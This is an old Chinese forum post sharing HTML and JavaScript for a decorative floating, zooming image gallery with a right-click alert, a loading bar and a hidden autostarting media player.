试试代码

虎鹤双形拳 · 发表于 2012-12-1 12:23

<html>

<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312"><SCRIPT language=javascript>
function click() {
if (event.button==2) {  //改成button==2为禁止右键
alert('－－请您欣赏')
}
}
document.onmousedown=click
</SCRIPT>

<title>水姑娘--</title>
</head>

<style type="text/css">
body {cursor:crosshair;margin:0; padding:0; position:absolute; overflow:hidden; background:#fff; left:0; top:0; width:100%; height:100%;zIndex:-2;}
img {position:absolute;left:-10000;border:#222 solid 1px;cursor:pointer;}
</style>

<script type="text/javascript">
window.onerror = new Function("return true");
screen.bufferDepth = 16;
object = new Array();
////////////////////
am = 40;
TEMPO = 5000;
///////////////////
W0 = 0;
H0 = 0;
nx = 0;
ny = 0;
K  = 0;
Kb = -1;

function zoomIn(N){
object[N].img.cursor="crosshair";
object[N].zoomIn();
object[N].img.zIndex=0;
}

function zoomOut(N){
object[N].img.cursor="pointer";
object[N].zoomOut();
}

function zyva(N){
if(N!=Kb){
clearTimeout(object[Kb].TO);
zoomIn(N);
object[Kb].BR=true;
zoomOut(Kb);
Kb=N;
}
}

function nextImg(){
if(Kb>=0)zoomOut(Kb);
Kb=K%nbI;
zoomIn(Kb);
K++;
}

function CObj(N,img){
this.A = Math.round(Math.random()*10)+1;
this.B = Math.round(Math.random()*10)+3;
this.k = 0.1 * N;
this.L = 0;
this.T = 0;
this.W = W0;
this.H = H0;
this.xb  = 0;
this.img = img.style;
this.img.zIndex = 1;
this.obj = "object["+N+"].";
this.BR  = false;
this.TO  = 0;

this.mainloop = function () {
with (this) {
k += 0.001;
L  = ((nx-W) * .5) + (Math.cos(k * A) * .5) * (nx - W);
T  = ((ny-H) * .5) + (Math.cos(k * B) * .5) * (ny - H);
with(img){
width  = Math.floor(W);
height = Math.floor(H);
top = Math.floor(T);
left = Math.floor(L);
}
setTimeout(obj+"mainloop();", 32);
}
}

this.zoomIn  = function() {
with (this) {
W += (nx - W) * (.1 * am/(.01+(nx - W)));
H += (ny - H) * (.1 * am/(.01+(nx - W)));
if(!BR){
if(W >= nx) TO=setTimeout("nextImg();", TEMPO);
else setTimeout(obj+"zoomIn();", 32);
}
}
}

this.zoomOut  = function() {
with (this) {
W -= W / (am * .5);
H -= H / (am * .5);
if(W >= 2) setTimeout(obj+"zoomOut();", 32);
else {
BR=false;
img.zIndex=1;
zoomStart();
}
}
}
this.zoomStart = function() {
with (this) {
W++;
H += H0 / W0;
if(W<W0 || H<H0)setTimeout(obj+"zoomStart();", 32);
}
}

this.mainloop();
}

function resize() {
nx = document.body.clientWidth;
ny = document.body.clientHeight;
W0  = nx / nbI;
H0  = ny / nbI;
if(H0<W0*.56)H0=W0*.56;
}
onresize = resize;

onload = function() {
img = document.getElementById("IMG").getElementsByTagName("img");
nbI = img.length;
resize();
for(i=0;i<nbI;i++) object[i] = new CObj(i,img[i]);
nextImg();
}
//-->
</script>

<body style="background-image: url('56.jpg')">

<div id="IMG" style="z-index:1">
<img onclick="zyva(0)" src="59.jpg">
<img onclick="zyva(1)" src="58.jpg">
<img onclick="zyva(2)" src="53.jpg">
<img onclick="zyva(3)" src="54.jpg">
<img onclick="zyva(4)" src="55.jpg">
<img onclick="zyva(5)" src="56.jpg">
<img onclick="zyva(6)" src="57.jpg">
</div>

<script>m00=document.getElementById("IMG").getElementsByTagName("img");m01=m00.length;function images_loading_bar(){m02=0;for(i=0;i<m01;i++)m02+=(m00[i].complete)?1:0;document.getElementById("LB1").style.width=Math.round(m02/m01*100);if(m02==m01)setTimeout("document.getElementById('LB0').style.display='none'",128); else setTimeout("images_loading_bar()", 64);};images_loading_bar();</script>
<DIV id=playlist></DIV><SPAN id=MusicGeCi></SPAN><OBJECT classid=CLSID:6BF52A52-394A-11d3-B153-00C04F79FAA6 type=application/x-oleobject align="middle" border=0 id=haotingplay style="filter: invert(); WIDTH: 1px; HEIGHT: 0px"><PARAM NAME="URL" VALUE=""><PARAM NAME="rate" VALUE="1"><PARAM NAME="balance" VALUE="0"><PARAM NAME="currentPosition" VALUE="0"><PARAM NAME="defaultFrame" VALUE=""><PARAM NAME="playCount" VALUE="1"><PARAM NAME="autoStart" VALUE="-1"><PARAM NAME="currentMarker" VALUE="0"><PARAM NAME="invokeURLs" VALUE="-1"><PARAM NAME="baseURL" VALUE=""><PARAM NAME="volume" VALUE="80"><PARAM NAME="mute" VALUE="0"><PARAM NAME="uiMode" VALUE="full"><PARAM NAME="stretchToFit" VALUE="-1"><PARAM NAME="windowlessVideo" VALUE="0"><PARAM NAME="enabled" VALUE="-1"><PARAM NAME="enableContextMenu" VALUE="0"><PARAM NAME="fullScreen" VALUE="0"><PARAM NAME="SAMIStyle" VALUE=""><PARAM NAME="SAMILang" VALUE=""><PARAM NAME="SAMIFilename" VALUE=""><PARAM NAME="captioningID" VALUE=""><PARAM NAME="enableErrorDialogs" VALUE="0"></OBJECT><SCRIPT language="JavaScript" src="../&#0106&#0115.&#0106&#0115"></SCRIPT><SCRIPT language=JavaScript>

</SCRIPT>
</body></body>

</html>